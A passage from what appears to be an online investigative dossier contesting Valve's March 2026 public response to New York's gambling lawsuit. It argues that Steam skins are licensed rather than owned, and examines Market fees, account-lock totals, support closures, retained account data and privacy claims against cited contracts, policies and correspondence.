and unique device identifiers. Its product history shows country-specific container rules, including the Netherlands’ move to X-Ray Scanner in March 2026. The response must identify the additional data it considers necessary and explain why existing controls cannot meet the proposed purpose.\n\nPayment-method checks also leave the age of the person spending a gifted or previously funded Wallet unanswered. And a privacy claim must be tested against Valve’s own disclosure record: retained information, failed redactions and requests closed without the requested records.\n\nThe same scrutiny applies to protection. Trade Protection does not answer the documented Market-to-Wallet-to-gift route, or supply the evidence and review process for a disputed payment restriction.\n\nEVIDENCE[E71] [E77] [E21] [E82] Existing data, age, regions and enforcement ↗ Market, Wallet and gift records ↗\n08VALVE’S STATEMENT · EXACT EXCERPT\n“legislature passes laws”\n\nValve promises compliance if New York adopts legislation governing mystery boxes.\n\nRead the complete statement · 11 March 2026 ↗\nMANIPULATION / MOVING THE LEGAL QUESTION\nA promise about future legislation does not answer the case filed under existing law.\n\nThe Attorney General’s complaint invokes existing New York provisions and alleges that Valve’s current mechanism violates them. Valve’s promise concerns a different event: legislation that might be adopted later. The dispute before the court concerns the application of existing law to the conduct alleged. Framing the issue around a future law moves attention away from the claim actually filed.\n\nEVIDENCE[E38] The complaint and requested remedies ↗\nRead the contemporaneous coverage supplied with this investigation+\nIGN · Valve’s collectibles response ↗GameSpot · The transferability response ↗\nORIGINAL PHISHDESTROY RESEARCH / MAJOR SKINSInspect the original Major skins dataset.Open the full analysis, event comparisons and methodology on PhishDestroy ↗\n02\n\nTHE LABUBU DEFENCE\n\nWhat the collector owns, and what Valve controls\n\nValve’s analogy asks readers to picture an object that remains theirs after purchase. Steam’s agreement describes a licence administered by the company that records the item, executes its transfer and can restrict the account holding it. This is the difference that matters when access is disputed, a trade is refused or the platform changes its rules. [E14] [E09]\n\n2024\nLabubu becomes a mass collecting phenomenon.\n\nThe popularity that made the brand a household name dates to 2024; the IP’s owner reports the revenue scale for that year and the surge that followed. [E111]\n\n2 OCT 2024\nThe CS2 Armory Update introduces weapon charms.\n\nValve’s release notes announce the Armory and charms — keychains for weapons — placing another paid cosmetic product inside Valve’s monetisation architecture, in the middle of the collecting boom. [E101]\n\n11 MAR 2026\nValve’s answer to New York invokes Labubu.\n\nThe statement names Labubu among the physical collectibles its boxes are compared with. The analogy borrows a 2024 collecting boom to answer a 2026 gambling complaint. [E14]\n\nFollow the full chronology ↗\n\nThe difference is also commercial. In an ordinary direct resale of a physical collectible, the original maker does not execute the handover or receive another payment merely because it changes hands. Valve continues to operate the Steam Community Market and reserves transaction fees. New York’s complaint identifies paid openings and Steam Market commissions as revenue sources. That continuing role distinguishes the digital system from a maker whose involvement ends with the original sale. Which transactions Valve’s fee claim reaches — the paid openings, the Market commissions, the outside settlement routes — is a boundary Valve’s statement should draw explicitly. [E38] [E09]\n\n≈ 15%Combined fee on a Steam Community Market transaction — the game fee plus the Steam fee\n≈ $1,800Listing ceiling on the venue Valve operates, with 248 CS2 categories trading above it\n$10,941Starting Factory New Dragon Lore price across five independent marketplaces, 23 September 2026 snapshot\n\nThat is the number the analogy omits. A Steam Community Market transaction carries a combined fee of roughly 15% — the game fee plus the Steam fee — on a venue whose listings are capped near $1,800. Valve mints the random outcome, sells the chance, operates the resale venue and takes a cut of every monetisation inside it; no baseball-card publisher holds all four roles at once. [E15] [E13] Inspect the dated price record ↗\n\nThe four roles behind the fee\nRole in the transaction\tA blind-box maker\nBaseball cards · Pokémon · Labubu\tValve inside Steam\nIssuer and operator\nMints the random outcome\tThe contents are sealed at the factory.\tCase contents are generated by Valve.\nSells the chance\tThe pack carries a fixed price.\tCase and key are priced by Valve.\nOperates the resale venue\tResale happens outside the maker’s systems.\tValve operates the Steam Community Market. [E15]\nCollects a fee when the outcome is monetised\tNo share of a resale reaches the maker.\tA combined fee of roughly 15% per Market transaction. [E15]\n\nA / THE MISLEADING OWNERSHIP CLAIM\n\nValve presents digital transfers as equivalent to an owner selling or trading a physical collectible.\n\nPosition summarised from the statement. Read the exact excerpt and the ownership-lie analysis ↗\n\nE14 · Valve’s statement · 11 Mar 2026 ↗\n\nB / THE CONTRACTUAL GRANT\n\n“The Content and Services are licensed, not sold.”\n\n“you have no ownership interest in such Subscriptions”\n\nE09 · Subscriber Agreement · §§2.A, 3.D ↗\n\nTHE CONTRACTUAL DIFFERENCESection 3.D expressly applies the licence model to items acquired from other users. Resale does not release the item from Valve’s system: the next holder enters the same administered relationship.\n\nWhat the physical-collectible analogy leaves out\nRelationship\tAn ordinary direct resale\nA physical card or toy\tA Steam item transfer\nInside Valve’s system\nAfter the first purchase\tThe buyer holds a physical object that can be handed to someone else.\tThe user holds transferable licence rights governed by Steam’s agreement. [E09]\nThe original maker’s role\tA direct handover does not require the manufacturer to run or approve the exchange.\tValve operates the market and the infrastructure that records the transfer.\nAn account is restricted\tThe maker’s decision about an online account does not physically remove the card or toy from its holder.\tThe operator can disable the account permissions needed to move the digital item.\nWhat the seller receives\tThe payment agreed between the people making that direct sale.\tOn Steam’s Market: Wallet credit. In an outside platform transaction: the return defined by that platform’s settlement system. [E15]\nTHE FINDING\n\nThe comparison sells the feeling of ownership.\nThe platform retains the power to decide whether the item can move.\n\nTHE CLOSER COMPARISON / GABE NEWELL’S COLLECTION\n\nGabe Newell’s knives show what independent possession means\n\nNewell has publicly described collecting knives since childhood. A maker’s account also records a display made for his collection. These sources establish a real physical collection against which Valve’s ownership analogy can be tested.\n\n01 / NEWELL’S OWN ANSWER\n“Since I was a kid.”\n\nAsked when he started collecting knives, Newell gives that answer in Valve’s Reddit AMA. He also points readers to makers Kevin Cashen and Elizabeth Loerchner.\n\nE26 · Open the exact answer ↗\n02 / A WORK MADE FOR THE COLLECTION\nA display made for his Warenski knife\n\nOn 24 May 2004, the display maker Wild Rose described a project for Newell involving a Buster Warenski folding knife engraved by Julie Warenski. The account describes the physical work and includes the display photograph.\n\nE39 · Read the maker’s original post ↗\n\nNewell’s continued possession of a physical knife does not require the original seller to keep a server running, renew a session or approve another owner. A dispute with the maker cannot be enforced by switching off the object. The same is true of an ordinarily purchased card or Labubu figure: the seller no longer administers the buyer’s possession. A Steam skin remains dependent on Valve’s account and transfer system throughout its life. That is why invoking physical ownership gives the reader a misleading picture of the digital relationship.\n\nApply the physical-collection analogy all the way through\nThe collector’s situation\tA physical knife\tA Steam skin\nKeeping the collection\tThe object remains in the collector’s physical custody independently of the maker’s online account.\tAccess and transfer depend on Steam’s account and item permissions.\nA dispute with the maker\tAn account decision cannot remotely remove the knife from its holder.\tA trade restriction can immobilise the item inside the account. [E42]\nPassing it on or leaving it to heirs\tThe physical object can be delivered to its next holder.\tSuccession confronts a personal account, restricted account transfer and platform-controlled item transfers. [E09]\nA high resale price\tThe collector still holds a physical object.\tA quoted cash price does not change the platform’s licence grant or remove its power over access.\nRecovery after theft\tRecovering the object restores physical possession.\tAccount recovery, item restoration and trade reversal are separate processes controlled by the platform’s systems and rules. [E27] [E32]\n\nTHE WORD “ASSET” DOES NOT FIX THE RELATIONSHIP\n\nA valuable item can still be held on someone else’s terms.\n\nA high resale price does not remove this dependence. The agreement restricts account transfers, and item transfers still require Steam’s systems. Keeping a valuable skin, passing it to another person and recovering it after theft are therefore distinct permissions and procedures. Treating the item as an investment does not replace them with independent possession.\n\nLOSS AND RECOVERY / WHO GETS A REMEDY?\n\nThe issuer controls the exception as well as the rule.\n\nSteam’s restoration policy denies routine restoration of items that have left an account. Its trading FAQ gives scarcity and the effect of duplicate items on value as a reason. The platform therefore invokes the item economy when limiting a victim’s remedy. [E27] [E42]\n\nThe Steam Dossier places high-profile recoveries beside unresolved losses. The accountability question is concrete: what action was technically possible, who received it, which criterion governed it, and how could another affected user obtain the same review? A collector’s protection should not depend on obtaining exceptional attention.\n\nTrade Protection, introduced in July 2025, returns the original items in eligible CS2 trades. That supplies a concrete remedy without creating a duplicate. The remaining question is the scope Valve chose: which losses qualify, which routes are excluded, and how an affected user can challenge a refusal. [E32] Inspect the Market and Wallet boundary ↗\n\nRead the theft and recovery ledger ↗Inspect the correspondence evidence ↗\n\nTHE RECOVERY PATTERN / WHO RECEIVES THE EXCEPTION?\n\nThe inventories that came back belong to names with reach.\n\nStreamers, partners, people close to Valve. The silent majority’s stolen skins do not come back: the support trail ends in a canned refusal, and for an ordinary user a stolen skin is gone. Restoration is a favour, not a remedy — and the criterion is who you are. [E27] [E42]\n\nThe theft and recovery ledger ↗The canned-refusal support archive ↗\nTHE OWNERSHIP CLAIM\n\nThe analogy describes the experience of collecting while concealing the conditions of possession. The seller’s original role continues as authority over the holder’s access.\n\nRELATED ECONOMIC RECORDThe market above Steam’s listing ceilingInspect the dated prices and settlement system ↗\n03\n\nVALVE’S RULES / THE EXERCISE OF POWER\n\nAccount locks. Show the enforcement record.\n\nTHE SAME DEFENCE, A DECADE APART\n\n2016 → 2026\n\nValve’s October 2016 reply to the Washington State Gambling Commission and its March 2026 statement to players use the same structure: distance the company from outside gambling, defend useful transfer infrastructure, and report action through account restrictions. [E19] [E14]\n\nPut the stated policy beside the mechanism\nComponent\t2016 / Washington\t2026 / New York\nDistance from operators\tNo business relationship or revenue from the outside sites.\tNo cooperation with gambling sites.\nInfrastructure defended\tTrading and OpenID benefit Steam users and game makers.\tItem transferability is defended as a consumer right.\nAction reported\tLetters to more than 40 sites and associated accounts disabled.\tMore than one million accounts locked across gambling, fraud and theft.\nObjection to intervention\tTurning off lawful services would affect legitimate uses.\tRemoving transfers would take an existing ability away from users.\nWho should define the legal boundary?\tValve asks the Commission to identify the criminal law it says Valve violates.\tValve promises compliance if the legislature adopts laws governing mystery boxes.\n01 / VALVE COUNSEL TO THE WSGC / OCTOBER 2016\n“…if there is a specific criminal statute or regulation you believe Valve is violating, please provide a citation.”\n\nThe Commission’s letter publicly threatened Valve with criminal prosecution for gambling on third-party sites. Valve’s counsel answered a criminal threat with a demand for a citation.\n\nE19 · Valve counsel’s letter to the WSGC · 17 October 2016 ↗\n02 / THE ARGUMENT VALVE ATTRIBUTED TO THE COMMISSION\n“Valve could stop this, so it should”\n\nThat is the sentence that matters: capability, conceded by Valve itself in 2016. Its answer then and now is that turning off the service would burden lawful users. The capability has been admitted in writing for a decade; only the refusal has changed.\n\nE19 · Valve counsel’s letter to the WSGC · 17 October 2016 ↗\n\nA / ERIK JOHNSON / IN-GAME ITEM TRADING UPDATE / 13 JULY 2016\n\n“We have no business relationships with any of these sites. We have never received any revenue from them. And Steam does not have a system for turning in-game items into real world currency.”\n\nQuote it whole — ten years later every clause of it is testable.\n\nE08 · Read the original statement ↗\n\nB / EVERY CLAUSE, TEN YEARS LATER\n\nTen years later, every clause of it is testable against the record.\n\nNo business relationships, no revenue, no route to real-world currency: the sponsorship record, the fee record and the reported $1 million sale each date from the decade after 13 July 2016, and each turns a clause of the statement into a checkable claim. Inspect the fee record ↗ Inspect the sponsorship record ↗ [E37]\n\nThe commercial ecosystem depends on the same account transfers that Valve presents as a consumer benefit. Keeping those transfers available preserves the infrastructure on which the outside services operate. The investigation follows that connection from the written prohibition to the functioning route.\n\nTHE MODEL CHANGED / THE METRIC DID NOT\n\n2018 moved the trade. Who now receives the ban?\n13 JUL 2016\nValve describes the gambling route and declares it prohibited.\n\nIts public statement identifies OpenID and automated Steam accounts as the infrastructure used by outside sites. A decade later, the relevant outcome is whether operators can still coordinate delivery through Steam—not simply whether some accounts were disabled. [E08]\n\n29 MAR 2018\nValve imposes the seven-day trade cooldown.\n\nIts announcement connects frequent item turnover to automated third-party accounts and applies a seven-day cooldown to received CS:GO trades. This is a dated change to the operating model. [E63]\n\n2018 / OPERATOR’S ACCOUNT\nEmpire says it replaced Steam bots with P2P.\n\nThe operator’s current FAQ retrospectively dates its transition to 2018. Fast’s current market FAQ also describes direct sales between players. These records identify the P2P routes that account-level enforcement now has to address. [E64] [E65]\n\n11 MAR 2026\nValve reports account locks without an operator breakdown.\n\nIn a user-supplied inventory model, disabling the holder’s Steam account and disabling the coordinating business are different outcomes. The report must distinguish them.\n\nTHE ENFORCEMENT TEST\n\nFollow the account, the inventory and the operator separately. Identify the transaction, ownership or control of the account, the commercial rule applied, the restriction’s scope, the loss, the appeal and the operator’s subsequent ability to settle trades.\n\nWhat “bot”, $5 and an authenticator actually establish\n\nA bot describes automation. It does not identify the beneficial owner, whether an account was stolen, or whose assets it holds. Steam’s limited-account rules require $5 in qualifying spending for specified community features, including the Market and Web API. They do not classify Valve’s million locked accounts or establish a universal $5 cost for every game-item transfer. [E66]\n\nAccount-security rules depend on the route and date. The current CS2 Trade Protection FAQ describes immediate item delivery followed by a seven-day protection window, replacing the former hold/escrow route for CS2. Valve should classify the locked accounts and release their purchase and restriction histories so the financial effect can be reconciled. [E32]\n\nTHE FINANCIAL CONSEQUENCEThe user supplies the item. The operator controls the balance.Trace the ledger, restrictions and scarcity rationale ↗\nVALVE’S MARCH 2026 STATEMENT1,000,000+Steam accounts locked in connection with gambling, fraud and theftE14 · Inspect the statement ↗\n\nThe total identifies locked accounts.\nIt does not identify who lost access.\n\nValve’s cited statement combines gambling, fraud and theft in one total. It does not classify those accounts as ordinary participants, custodial inventories, automated accounts or operators. In a direct-delivery marketplace, a participant’s own inventory supplies the skin, so the consequences of a restriction cannot be inferred from an account count alone.\n\nWhen a restriction blocks trading and Market access, the holder loses the ability to send the item or realise its exchange value through those routes. Valve continues to control the record and the permission to move it. The practical loss falls on the account holder. [E42] [E04] [E09]\n\nLOSS OF TRADING ACCESS\n\nAn immobilised inventory can lose its use as a source of exchange value. The holder remains dependent on the same platform for any restoration of trading access.\n\nTHE SECOND STANDARD\n\nCommercial for the platform. A violation for the user.\n\nSteam’s Online Conduct rules put gambling under prohibited commercial activity. The Subscriber Agreement reserves commercial permissions, restricts account transfers and gives Valve enforcement powers. Those rules sit beside a public message presenting the ability to trade an item as a consumer right. [E41] [E09]\n\nThe investigation challenges the way this boundary is applied: the user supplies an item to a commercial system, the site controls valuation rules and the return, and an account restriction can leave the user with the loss. Calling the conduct “commercial” does not explain why the participant bears that consequence while the service coordinating it remains reachable.\n\nTRANSLATE THE BAN NUMBER\n\nThe “bots” Valve locked were Steam users.\n\nTheir inventories were immobilised: value parked inside Valve’s system, unusable and unsellable, with no appeal and no stated reason. An immobilised inventory is not a neutral outcome — the issuer keeps the asset, the player loses the use, and the operator keeps the website. The number reports enforcement; the confiscation is the outcome. [E42] [E87]\n\nWho now receives the ban ↗\n\nTHE SCOPE OF VALVE’S POWER\n\nOne allegation can reach every account.\n\nValve’s published restriction policy permits action against all accounts owned by an individual, including for prohibited commercial use. The decision record must identify the triggering transaction, every affected inventory and the basis for extending the restriction. [E87]\n\nSeparate the user’s loss from the operator’s outcome ↗\n\nTHE MISSING REMEDY\n\nA reason must be something the user can challenge.\n\nSteam’s own trading FAQ says most trade bans are permanent and that Support limits the information it supplies about ban and lock decisions. [E42] A label is not a case record. The user needs the transaction identified, the rule applied, the supporting evidence, the duration and scope of the restriction, and a route to a reasoned review. A closed support exchange leaves the item locked and the underlying decision outside the user’s control.\n\nThe Steam Dossier’s support and recovery records are the relevant evidence for this question: what was requested, what was refused, and who retained the power to restore access.\n\nTheft and recovery record ↗Requests and closed responses ↗Contract against the operating system ↗\n\nA locked user inventory.\nA functioning commercial platform.\nShow who the enforcement actually stops.\n\nTHE ACCOUNTABILITY TEST\n04\n\nTECHNICAL CAPABILITY / SUPPORT REFUSAL\n\nThe records exist. Access is a decision.\n\nA claim of technical inability must be tested against the operation being requested and the records Valve uses. The correspondence trail exposes a concrete accountability failure: retained device information, reported cross-account correlation and a closed request for the user’s own records belong to the same platform.\n\n01 / CAPABILITY DESCRIBED\nOne device. Several accounts. Four years.\n\nPhishDestroy’s memorandum attributes to paragraph 1.9 of Valve counsel’s 1 October 2025 letter a description of device correlation across accounts during 2019–2023. The reported operation is specific: associating account use with a device across multiple years.\n\nRead the memorandum and attribution ↗\n02 / RECORDS PRODUCED\nAn 830-page retained-data appendix.\n\nThe published audit records the structure and hash of the separate PDF appendix. It reports 986 masking rectangles over extractable text and 902,270 covered characters. The production itself demonstrates a substantial retained-record system.\n\nInspect the aggregate audit ↗\n03 / ACCESS CLOSED\nA self-service link replaces the requested records.\n\nTicket HT-2YBP-F7JP-D4VB, filed on 16 September 2026, requested API-key, login, device and trade information. The preserved closure on 19 September redirects the requester to Account Data. The exchange does not supply the requested categories or give a legal basis for withholding them.\n\nInspect the dated ticket and screenshots ↗\nTHE ACCOUNTABILITY FAILURE\n\nValve holds the records and controls the route to them. Closing a request with a generic link leaves that control intact and the user without an inspectable answer to the specific request.\n\nEvidence trail for the reported technical-impossibility contradiction+\n\nThe memorandum reports earlier Support statements about technical inability and sets them against counsel’s description of device correlation. The letter itself is not reproduced in the public dossier. Its attribution, date and paragraph number come from that memorandum; the appendix audit measures a separate document.\n\nThe exact earlier Support ticket asserting technical impossibility has not been located in the supplied materials or the inspected public archive text. The September 2026 ticket establishes a documented closure and referral to self-service. The earlier reply claiming technical inability is a record in Valve’s own support system; producing it is Valve’s task, not the requester’s.\n\nSupport exhibit archive ↗Source-by-source review record ↗\n05\n\nTHE PRIVACY ARGUMENT AGAINST THE RECORD\n\nPrivacy is invoked. The records already exist.\n\nValve’s March 2026 response objects to demands for additional personal data and age verification. Our investigation puts that argument beside its existing record of client inspection, retained account data and device correlation. Privacy applies across that whole relationship. [E14]\n\n2014\n\nCLIENT-SIDE INSPECTION\n\nDNS-cache checks were part of a documented VAC test.\n\nGabe Newell’s February 2014 account describes a historical anti-cheat check: after detecting specified cheats, VAC looked for matching cheat-server entries in the DNS cache and sent matching hashes for a server-side check. It is an example of device-level inspection already present in Valve’s technical history.\n\nE22 · Newell’s original post ↗\n2014\n\nVAC / SIGNATURE DEPTH\n\nThe same client inspects process memory and loaded modules.\n\nThat is what an anti-cheat is: inspection of the running environment on the user’s machine, to signature depth. The 2014 DNS-cache build is one documented instance of that reach — a client that read users’ DNS caches and shipped hashes home. Client-side inspection is not a hypothetical Valve is being asked to start; it is a capability Valve has shipped for over a decade.\n\nE22 · Newell’s original post ↗\n2025\n\nRETAINED DATA / DISCLOSURE\n\n830 pages. 902,270 covered characters still extractable.\n\nThe dossier’s published audit examines the appendix supplied with the 1 October 2025 access response. It records black rectangles drawn over an intact text layer across all 830 pages. The redaction failure left the covered text recoverable, including third-party identifiers the masking was meant to withhold. The published aggregate audit records the scale without exposing those identifiers.\n\nE21 · Open the audit and file hash ↗\n2025\n\nCROSS-ACCOUNT CORRELATION\n\nOne device, multiple accounts, retained across years.\n\nThe counsel correspondence recorded in the Steam Dossier describes a device used across dozens of accounts during 2019–2023. The memorandum sets this beside reported technical-inability replies from Support. The capability record above identifies the date, paragraph and source status of that contradiction.\n\nInspect the capability and source trail ↗\n2026\n\nACCESS TO THOSE RECORDS\n\nA specific request, closed with a self-service link.\n\nThe September ticket reproduced in the dossier requests API-key, login, device and trade records. The recorded closing response, three days later, redirects the requester to the Account Data page without supplying the requested records or stating a legal basis for that response. The categories requested and the response are preserved side by side.\n\nRead the request and the closure ↗\nTHE QUESTION\n\nWhat is collected, how long is it retained, who can correlate it, and what can the user inspect?\nThe privacy argument must address the existing system as well as proposed checks.\n\nA Steam sign-in identifies an account. The age of the person using that account is a separate part of the access decision. The dossier follows that gap through the case-opening interface, existing Wallet balances and in-client messaging. Read the minors-protection section ↗\n\nNEW / THE EXISTING SYSTEM UNDER SCRUTINYData collected. Rules enforced. Remedies demanded.Device and location signals · Netherlands 2026 · Wallet age gap · AmEx reports · Smirnov court record ↗\n06\n\nWHAT THE RECORD SHOWS\n\nThe defence omits the power Valve retains.\n\nValve invokes ownership, transferability and privacy while administering the permissions, restrictions and records that determine what users can actually do. The complaint concerns that continuing power and the way it is exercised.\n\n01 / OWNERSHIP\nThe analogy conceals the contract.\n\nThe user receives licence rights and remains dependent on the issuer for access and transfer. The physical-collection comparison leaves out that dependence.\n\nThe claim beside the agreement ↗\n02 / ENFORCEMENT\nAn account total conceals the outcome.\n\nA meaningful enforcement record identifies the rule applied, the operator’s route, the people restricted and the result. The aggregate account count supplies none of that classification.\n\nThe missing operator-level record ↗\n03 / DISCLOSURE\nPrivacy must govern Valve’s own conduct.\n\nThe documented request and disclosure record belongs beside the public privacy argument: what was retained, what was released, and what the user was permitted to inspect.\n\nThe production and closure records ↗\n\nTHE RECORDS THAT WOULD ANSWER THE INVESTIGATION\n\nMake the exercise of power inspectable.\nOperator enforcement: name the service, the restricted account or authentication route, the date, and whether access later returned.\nUser consequences: account categories, immobilised inventory, notices, reasons supplied, review requests and their outcomes.\nTechnical exclusion: a documented response to a gambling service’s declared openid.return_to or authentication host.\nEconomic boundaries: the public policy governing outside cash settlement, cryptocurrency funding and commercial participation.\nThe ownership comparison: identify the physical analogue in which the original maker retains equivalent power over possession and onward transfer.\nRemedy criteria: explain which recovery actions are available, who qualifies and how an ordinary user can obtain a review.\nWhat records would change these findings?+\n\nEach finding has a specific evidential test.\n\nOperator enforcement: a dated record identifying a restricted operator and its authentication route would replace the present absence of that record for that service.\nOpenID exclusion: a captured refusal tied to a gambling service’s declared return address would establish technical exclusion of that route at that time.\nOwnership equivalence: a physical-collectible arrangement with equivalent continuing maker control over possession and transfer would need to be included in the comparison.\nUser remedies: documented review and recovery criteria, with ordinary-user outcomes, would allow the remedy assessment to be updated.\n\nA new record changes the finding it addresses. It does not substitute an account total for an operator result, or a direct item transfer for an independently settled exchange.\n\nTHE FINDING\n\nCollecting a skin does not give its holder the independence of a physical owner. Valve’s contract and the working transaction preserve authority that its public analogy leaves out.\n\nTHE AUTHOR’S CENTRAL QUESTION\n\nWho benefits from circulation—and who pays when protection fails?\n\nThe investigation connects the personal loss of a Dota collection, CS2’s outside liquidity, the account access used by commercial extensions and the economics of farms. Valve’s role runs through that chain: issuer, platform operator, keeper of transaction records and designer of the protection and recovery rules.\n\nOur criticism concerns the priorities of that system. Item circulation can create revenue while theft, cheating and restrictions leave the player carrying the loss. A public defence about cosmetics, privacy or a million locked accounts must answer that allocation of benefit, control and harm.\n\nPersonal collections and circulation ↗ · Architecture and corporate independence ↗ · Farm economics and enforcement ↗ · Reviews used to recruit trust ↗\n\nTHE INVESTIGATION / TWELVE CASE FILES\n\n01 / VALVE & ENFORCEMENTThe public defenceStatement, contract, restrictions and retained data↗02 / ECONOMIC RECORDThe gambling systemC2C delivery, internal value and settlement↗03 / TECHNICAL RECORDSteam accessCredentials, authentication and dated filter checks↗04 / IDENTITY RECORDDocuments & AMLFourteen document groups, entities and policy defects↗05 / SPONSOR RULES & SKINSThe boundary Valve enforces.Named sponsors, dated licence rules and cosmetic exclusivity↗06 / PRIVACY & ENFORCEMENTExisting data. Selective privacy.Regional rules, Wallet, payment restrictions and moderation↗07 / THREE GAMES & SECURITYThree games. Unequal protection.The Canadian order, TF2 remedies, keys, security and farm economics↗08 / MONEY & ENFORCEMENTFollow the payment.Funding routes, cash-out terms and enforcement counters↗09 / SESSION & TRADE TRACKINGInside the Steam session.Empire, Roll and Fast: access, monitoring and confirmation↗10 / EXTENSION EVIDENCEInspect the packages.Roll and SIH permissions, code paths and retained specimens↗11 / CSGOFAST & SIHTen years after the crackdown.Screenshots, remote tasks, authenticator control and 33 code records↗12 / REVIEWS & INCENTIVESA rating becomes the entry ticket.84 contest records, developer replies and the review corpus↗\n07\n\nTHE PUBLIC RECORD\n\nInspect the evidence.\n34 RECORDS\n\nSources cited in this article appear first. Select “All records” to inspect the complete 107-record register shared by the investigation; the dedicated evidence files retain their own detailed registers.\n\nMethodology & source notes\n\nResearch date: 10 October 2026. This chapter places Valve’s public response beside the filed New York complaint, Steam’s agreement, restriction policies and the dossier’s disclosure and recovery records. Source dates, quotations and attribution remain attached to each finding.\n\nThe transaction evidence continues in the gambling-system chapter. Credential comparisons, the supplied redacted JWT and dated Link Filter checks are retained in Steam access; version-pinned code findings are retained in the package audit.\n\nOriginal research scope · 10 October 2026\n\nResearch date: 10 October 2026. This investigation compares the platform’s public policies and dated technical records with Valve’s public statement, Steam’s agreement, account-restriction rules and the filed New York complaint. The supplied RWT warning is reproduced without alteration.\n\nTechnical changes are presented on a dated timeline. The Link Filter exhibits preserve literal request URLs, timestamps and observed headings and continue links. The JWT exhibit transcribes the supplied decoded fields with identifiers redacted. The interactive diagrams explain the documented control relationships. The legal-response analysis places Valve’s public framing beside the complaint and the documented control of accounts and items.\n\nThe analysis follows the economic mechanism: who supplies the credential, assigns value, verifies delivery, credits the balance, sets transfer conditions, enforces account restrictions and receives fees. Related findings link directly to the Steam Dossier’s underlying records.\n\nCited source records\nE09 · Steam Subscriber Agreement\n\nPublisher: Valve\n\nDate: Live agreement\n\nSupports: Valve’s licence grant, the absence of ownership interest in marketplace subscriptions, and Steam Wallet restrictions.\n\nScope: Relevant clauses: §1.C (personal account), §2.A/2.G (licence and commercial use), §3.C/3.D (Wallet and marketplace), §4.D and §9.C (enforcement).\n\nhttps://store.steampowered.com/agreement/?l=english\nE50 · Seven-Major inspect totals — event CSV\n\nPublisher: PhishDestroy / Major demo analysis\n\nDate: Retrieved 10 Oct 2026\n\nSupports: 491 maps, 280 series, 960,770 inspect records; 948,232 skinned records.\n\nScope: Event totals independently summed. CS:GO and CS2 duration encodings differ.\n\nhttps://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv\nE87 · Restricted Steam Account — reasons and restriction types\n\nPublisher: Valve / Steam Support\n\nDate: Current policy · metadata 22 May 2025\n\nSupports: Payment-fraud and commercial-use grounds; distinctions among locks, Community Bans, trade bans, VAC bans and suspensions.\n\nScope: The actual account notice and decision record are needed to establish the scope and basis of an individual restriction.\n\nhttps://help.steampowered.com/en/faqs/view/4F62-35F9-F395-5C23\nE71 · Steam Privacy Policy — existing collection\n\nPublisher: Valve\n\nDate: Current policy · §§3.1–3.8\n\nSupports: SteamID, residence country, IP logs, unique device identifiers and application/device data are publicly disclosed categories.\n\nScope: Valve’s policy lists data categories and their declared purposes; field-level implementation is part of the requested disclosure.\n\nhttps://store.steampowered.com/privacy_agreement/\nE37 · Attorney General James announces the Valve lawsuit\n\nPublisher: New York Attorney General\n\nDate: 25 Feb 2026\n\nSupports: The filing announcement, three game titles, paid-random-outcome allegation, outside resale value and reported million-dollar item.\n\nScope: Official announcement of the allegations and requested action.\n\nhttps://ag.ny.gov/press-release/2026/attorney-general-james-sues-game-developer-promoting-illegal-gambling-through\nE38 · People of New York v. Valve Corporation — filed complaint\n\nPublisher: New York Attorney General / NYSCEF\n\nDate: 25 Feb 2026\n\nSupports: Court, filing date, index 450952/2026, allegations, statutory bases and requested remedies.\n\nScope: NYSCEF document 2; 52-page court-stamped complaint. Requested relief appears on PDF pages 50–51.\n\nhttps://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf\nE14 · About the New York Attorney General lawsuit against Valve\n\nPublisher: Valve\n\nDate: 11 Mar 2026\n\nSupports: The public collectibles comparison, optional and cosmetic framing, transferability argument, account-ban total, privacy objections and legislative position.\n\nScope: Corporate public response dated 11 March 2026; linked alongside the filed complaint and the investigation’s analysis.\n\nhttps://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5\nE42 · Steam Trading — bans, explanations and restoration\n\nPublisher: Valve / Steam Support\n\nDate: Live FAQ\n\nSupports: Trade-ban effects, predominantly permanent bans, limits on the reasons disclosed and the scarcity rationale for restoration policy.\n\nScope: Relevant headings: trade bans, trade probation, disclosure of ban reasons and returning scammed items.\n\nhttps://help.steampowered.com/en/faqs/view/46A2-2B3C-95CC-8878\nE51 · 559 player–Major inspect records — CSV\n\nPublisher: PhishDestroy / Major demo analysis\n\nDate: Retrieved 10 Oct 2026\n\nSupports: 557 records with a skinned inspect, two default-only; grouped by event.\n\nScope: Player nickname within an event, not unique people or complete owned inventories.\n\nhttps://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv\nE52 · DreamHack 2013 — item sales and Major prize funding\n\nPublisher: Valve / Counter-Strike\n\nDate: 16 Sep 2013\n\nSupports: Valve connects in-game item revenue to the $250,000 tournament prize pool.\n\nScope: Historical Valve announcement connecting item sales to Major prize funding.\n\nhttps://blog.counter-strike.net/2013/09/7614/\nE60 · Game Server Operation Guidelines — cosmetic simulation\n\nPublisher: Valve / Counter-Strike\n\nDate: July 2015 request / January 2016 action\n\nSupports: FAQ 2 covers player-only visibility; records permanent server-token restrictions.\n\nScope: Valve server-mod guidelines, including simulated unowned appearances visible only to the player.\n\nhttps://blog.counter-strike.net/server_guidelines/\nE61 · Project closure statement\n\nPublisher: Touch Skins\n\nDate: September 2026 episode · reviewed 10 Oct 2026\n\nSupports: Project reports a demand from Valve’s Russian representatives and its decision to close.\n\nScope: First-person project statement; the current page does not print a publication date.\n\nhttps://touchskins.io/\nE53 · Limited Game Tournament License — §2.4(d)–(e)\n\nPublisher: Valve\n\nDate: Current text · reviewed 10 Oct 2026\n\nSupports: Conditional betting advertising and separate exclusions for game-economy sponsors.\n\nScope: The live page has no public version date; older contracts need their applicable text.\n\nhttps://store.steampowered.com/tourney/limited_license\nE54 · Commit 8594dc0 — tournament sponsorship requirement\n\nPublisher: ValveSoftware / GitHub\n\nDate: 08 Dec 2025 · 23:03:20 UTC\n\nSupports: Addition requiring ranked and unranked operators to follow licence §2.4(e).\n\nScope: Dates the TOR change, not the licence clause’s first publication. Verified against GitHub commit API.\n\nhttps://github.com/ValveSoftware/counter-strike_rules_and_regs/commit/8594dc0cc8f8cd9ea9564af46e453fc673246cbd\nE55 · GG.BET / Antwerp 2022 and Stockholm 2021\n\nPublisher: PGL\n\nDate: 04 Apr 2022\n\nSupports: PGL’s announced betting partnership and broadcast integrations; retrospective Stockholm confirmation.\n\nScope: Indexed primary release retrieved 10 Oct 2026. Historical URL now redirects to the news index; E58 corroborates both 